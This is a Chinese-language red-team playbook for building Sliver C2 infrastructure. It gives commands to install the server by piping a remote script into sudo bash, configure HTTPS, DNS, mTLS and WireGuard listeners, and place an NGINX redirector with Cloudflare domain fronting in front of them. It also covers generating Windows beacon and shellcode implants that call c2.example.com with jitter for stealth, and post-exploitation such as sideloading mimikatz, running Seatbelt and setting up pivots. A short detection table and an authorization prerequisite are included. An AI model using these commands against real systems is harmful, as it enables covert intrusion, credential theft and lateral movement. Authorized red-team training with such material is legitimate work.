building-c2-infrastructure-with-sliver-framework

使用 Sliver 框架构建 C2 基础设施

概述

Sliver 是 BishopFox 开发的一款开源、跨平台对手仿真框架，使用 Go 语言编写。它为红队提供植入物生成、多协议 C2 通道（mTLS、HTTP/S、DNS、WireGuard）、多操作员支持以及丰富的后渗透能力。Sliver 支持 beacon（异步）和 session（交互式）两种模式，既适用于长期操作，也适用于交互式利用。架构合理的 Sliver 基础设施会使用重定向器、域前置和 HTTPS 证书，以保持运营韧性并规避检测。

适用场景

• 在环境中部署或配置使用 Sliver 框架构建 C2 基础设施的能力时
• 建立与合规要求一致的安全控制时
• 为该领域构建或改进安全架构时
• 开展需要此实现的安全评估时

前置条件

• 熟悉红队概念和工具
• 可访问用于安全执行的测试或实验环境
• 已安装所需依赖的 Python 3.8+
• 任何测试活动均具备适当授权

目标

• 在加固的云基础设施上部署 Sliver 团队服务器
• 配置 HTTPS、mTLS、DNS 和 WireGuard 监听器
• 为目标平台生成植入物（beacon 和 session）
• 在植入物与团队服务器之间设置 NGINX 或 Apache 重定向器
• 实现基于 Cloudflare 或 CDN 的域前置以混淆流量
• 配置基于证书认证的多操作员访问
• 为 C2 通信建立运营安全控制

MITRE ATT&CK 映射

• T1071.001 - 应用层协议：Web 协议
• T1071.004 - 应用层协议：DNS
• T1573.002 - 加密通道：非对称加密
• T1090.002 - 代理：外部代理（重定向器）
• T1105 - 入口工具传输
• T1132.001 - 数据编码：标准编码
• T1572 - 协议隧道

工作流

阶段 1：团队服务器部署

1. 为团队服务器开通 VPS（例如 DigitalOcean、Linode、AWS EC2）
2. 加固操作系统：禁用 SSH 密码认证，配置 UFW/iptables，安装 fail2ban
3. 使用官方安装脚本安装 Sliver：

   curl https://sliver.sh/install | sudo bash
   

4. 启动 Sliver 服务器守护进程：

   systemctl start sliver
   # Or run interactively
   sliver-server
   

5. 为团队成员生成操作员配置文件：

   new-operator --name operator1 --lhost <team-server-ip>
   

阶段 2：监听器配置

1. 配置带有合法 SSL 证书的 HTTPS 监听器：

   https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem
   

2. 配置用于备用 C2 的 DNS 监听器：

   dns --domains c2dns.example.com --lport 53
   

3. 配置用于高安全会话的 mTLS 监听器：

   mtls --lhost 0.0.0.0 --lport 8888
   

4. 配置用于隧道访问的 WireGuard 监听器：

   wg --lport 51820
   

阶段 3：重定向器设置

1. 部署一台单独的 VPS 作为重定向器（位于目标与团队服务器之间）
2. 安装并配置 NGINX 作为反向代理：

   server {
       listen 443 ssl;
       server_name c2.example.com;
       ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;
       ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;
   
       location / {
           proxy_pass https://<team-server-ip>:443;
           proxy_ssl_verify off;
           proxy_set_header Host $host;
           proxy_set_header X-Real-IP $remote_addr;
       }
   }
   

3. 在团队服务器上配置 iptables 规则，仅接受来自重定向器的连接：

   iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT
   iptables -A INPUT -p tcp --dport 443 -j DROP
   

4. 可选：在重定向器前设置 Cloudflare 作为 CDN 层以实现域前置

阶段 4：植入物生成

1. 生成 HTTPS beacon 植入物：

   generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload
   

2. 为受限网络生成 DNS beacon：

   generate beacon --dns c2dns.example.com --os windows --arch amd64
   

3. 生成用于注入的 shellcode 载荷：

   generate --http https://c2.example.com --os windows --arch amd64 --format shellcode
   

4. 配置 beacon 抖动和回连间隔：

   generate beacon --http https://c2.example.com --seconds 60 --jitter 30
   

阶段 5：后渗透操作

1. 与活动的 beacon/session 交互：

   beacons        # List active beacons
   use <beacon-id> # Interact with a beacon
   

2. 执行后渗透模块：

   ps              # Process listing
   netstat         # Network connections
   execute-assembly /path/to/Seatbelt.exe -group=all  # Run .NET assemblies
   sideload /path/to/mimikatz.dll  # Load DLLs
   

3. 设置用于内网访问的 pivot：

   pivots tcp --bind 0.0.0.0:9898  # Create pivot listener on compromised host
   

4. 使用 BOF（Beacon Object Files）进行内存执行：

   armory install sa-ldapsearch  # Install from armory
   sa-ldapsearch -- "(objectClass=user)"  # Execute BOF
   

工具与资源

工具	用途	平台
Sliver Server	C2 团队服务器与植入体管理	Linux/macOS/Windows
Sliver Client	面向团队成员的操作用户控制台	跨平台
NGINX	重定向器与反向代理	Linux
Certbot	Let's Encrypt SSL 证书生成	Linux
Cloudflare	CDN 与域名前置	云
Armory	Sliver 扩展/BOF 包管理器	内置

检测特征

指标	检测方法
默认 Sliver HTTP 标头	针对异常 User-Agent 字符串的网络流量分析
非标准端口上的 mTLS	针对流向异常端口的出站连接的防火墙日志
高熵值的 DNS TXT 记录查询	针对编码 C2 流量的 DNS 日志分析
端口 51820 上的 WireGuard UDP 流量	针对 WireGuard 握手模式的网络流分析
Sliver 植入体文件哈希	针对已知 Sliver 样本的 EDR/AV 签名匹配

验证标准

• 团队服务器已部署并使用防火墙规则加固
• HTTPS 监听器已配置有效 SSL 证书
• DNS 监听器已配置为备用 C2 通道
• 在目标与团队服务器之间至少部署了一个重定向器
• 已使用唯一证书配置多操作员访问
• 已为各目标操作系统生成植入体
• 已为隐蔽性配置 Beacon 回连间隔与抖动
• 已测试后渗透模块（进程列举、.NET 程序集执行）
• 已验证用于内网访问的横向跳板功能
• 所有 C2 流量均已加密并通过重定向器